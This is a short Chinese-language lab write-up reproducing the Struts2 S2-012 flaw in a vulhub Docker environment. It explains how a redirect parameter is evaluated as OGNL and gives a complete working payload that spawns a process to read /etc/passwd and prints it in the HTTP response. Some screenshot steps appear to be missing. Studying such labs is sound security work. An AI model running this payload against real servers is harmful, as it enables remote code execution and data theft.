2.1.0 - 2.3.13
漏洞原理如果在配置result在action时使用了重定向类型,并且$ {PARAM_NAME}也被用作重定向变量,例如:
/index.jsp?name=${name} /index.jsp /index.jsp
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
漏洞复现打开漏洞环境:
cd /home/ch1/Desktop/vulhub-master/struts2/s2-012 docker-compose up -d docker ps
访问:http://192.168.8.9:8080/
在重定向参数位置输入%{1+1},并抓包发送到repeater模块,点击发送:
看到被解析成了2,这也就造成了代码的执行。这样的话,只要传入S2-001中的poc就可以任意代码执行
poc如下:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
在重定向参数中重新输入:
也可以在burp中重发:
成功实现远程代码执行。
仅供学习!



